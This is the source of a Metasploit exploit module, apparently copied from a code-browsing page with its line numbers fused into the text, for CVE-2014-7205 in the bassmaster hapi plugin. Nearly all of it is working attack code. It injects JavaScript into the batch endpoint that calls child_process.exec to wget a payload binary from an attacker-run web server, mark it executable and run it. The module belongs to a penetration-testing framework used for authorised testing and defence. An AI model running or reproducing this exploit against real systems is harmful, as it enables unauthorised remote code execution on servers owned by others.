Path: blob/master/modules/exploits/multi/http/bassmaster_js_injection.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',18'Description' => %q{19This module exploits an un-authenticated code injection vulnerability in the bassmaster20nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an21attacker to dynamically execute JavaScript code on the server side using an eval.2223Note that the code uses a '\x2f' character so that we hit the match on the regex.24},25'Author' => [26'mr_me <[email protected]>', # msf27'Jarda Kotesovec' # original bug finder28],29'References' => [30[ 'CVE', '2014-7205'],31[ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'], # nodejs advisory32],33'License' => MSF_LICENSE,34'Platform' => ['linux', 'bsd'], # binary > native JavaScript35'Arch' => [ARCH_X86, ARCH_X64],36'Privileged' => false,37'Targets' => [38[ 'Bassmaster <= 1.5.1', {} ] # Other versions are also affected39],40'DefaultTarget' => 0,41'DisclosureDate' => '2016-11-01',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49register_options(50[51Opt::RPORT(8080), # default port for the examples/batch.js file52OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file53OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),54]55)56end5758def check59# So if we can append an encapsulated string into the body60# we know that we can execute arbitrary JavaScript code61rando = rand_text_alpha(8 + rand(8))62check = "+'#{rando}'"6364# testing65requests = [66{ :method => "get", :path => "/profile" },67{ :method => "get", :path => "/item" },68{ :method => "get", :path => "/item/$1.id#{check}" }, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;69]7071post = { :requests => requests }7273res = send_request_cgi({74'method' => 'POST',75'uri' => normalize_uri(datastore['URIPATH']),76'ctype' => 'application/json',77'data' => post.to_json78})7980# default example app81if res and res.code == 200 and res.body =~ /#{rando}/82return CheckCode::Vulnerable8384# non-default app85elsif res and res.code == 500 and res.body =~ /#{rando}/86return CheckCode::Appears87end8889return CheckCode::Safe90end9192def on_request_uri(cli, request)93if (not @pl)94print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")95return96end97print_status("#{rhost}:#{rport} - Sending the payload to the server...")98@elf_sent = true99send_response(cli, @pl)100end101102def send_payload103@bd = rand_text_alpha(8 + rand(8))104pn = rand_text_alpha(8 + rand(8))105register_file_for_cleanup("/tmp/#{@bd}")106cmd = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"107cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"108cmd << "\\x2ftmp\\x2f#{@bd}"109pay = ";require('child_process').exec('#{cmd}');"110111# pwning112requests = [113{ :method => "get", :path => "/profile" },114{ :method => "get", :path => "/item" },115{ :method => "get", :path => "/item/$1.id#{pay}" }, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;116]117118post = { :requests => requests }119120res = send_request_cgi({121'method' => 'POST',122'uri' => normalize_uri(datastore['URIPATH']),123'ctype' => 'application/json',124'data' => post.to_json125})126127# default example app128if res and res.code == 200 and res.body =~ /id/129return true130131# incase we are not targeting the default app132elsif res and res.code == 500 and res.body != ~ /id/133return true134end135136return false137end138139def start_http_server140@pl = generate_payload_exe141@elf_sent = false142downfile = rand_text_alpha(8 + rand(8))143resource_uri = "\\x2f#{downfile}"144if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")145srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)146else147srv_host = datastore['SRVHOST']148end149150@service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"151service_url_payload = srv_host + resource_uri152print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")153start_service({154'Uri' => {155'Proc' => Proc.new { |cli, req|156on_request_uri(cli, req)157},158'Path' => resource_uri159},160'ssl' => false # do not use SSL161})162163connect164end165166def exploit167start_http_server168if send_payload169print_good("Injected payload")170# we need to delay, for the stager171select(nil, nil, nil, 5)172end173end174end175176177